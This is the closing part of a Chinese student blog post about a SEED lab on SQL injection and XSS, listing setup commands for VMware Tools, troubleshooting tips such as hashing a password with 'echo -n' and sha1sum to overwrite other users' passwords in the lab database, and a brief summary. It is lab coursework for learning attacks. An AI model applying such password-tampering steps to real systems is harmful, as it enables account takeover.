    tar vfxz VMwareTools-10.1.6-5214329.tar.gz 
    cd vmware-tools-distrib\
    sudo ./vmware-install.pl
    重启
    
  • 问题2:跟着教材提供的实验任务做,出现很多问题。

    解决方法:参考解建国和孙启龙同学的博客,改用最新版实验要求(seed labs官网,也可查看我的Github)。

  • 问题3:执行echo "123123" | sha1sum得到“123123”的sha1值,对其他用户密码进行修改,但是验证输入时出错。

    解决方法:echo xxx会输出空行,正确应该是echo -n "123123" | sha1sum,其中-n只输出字符,不包含空行。

  • 问题4:不知如何使用HTTP header alive插件。

    解决方法:通过百度,从浏览器的“查看”菜单中选择“侧栏”菜单项,最后选择Live HTTP Headers菜单项即可。

四、实践总结

本次实践内容是目前最流行的Web应用程序攻击技术——SQL注入和XSS跨站脚本攻击,不算难,唯一费精力的是读实验指导书,18页的英文,还好基本都可成功实现,不过指导书已经给出了攻击和预防代码,如果自己编写还是需要一定的基础。

五、参考文献

posted @ 2020-05-14 01:46  梁旭20199320  阅读(273)  评论(0编辑  收藏  举报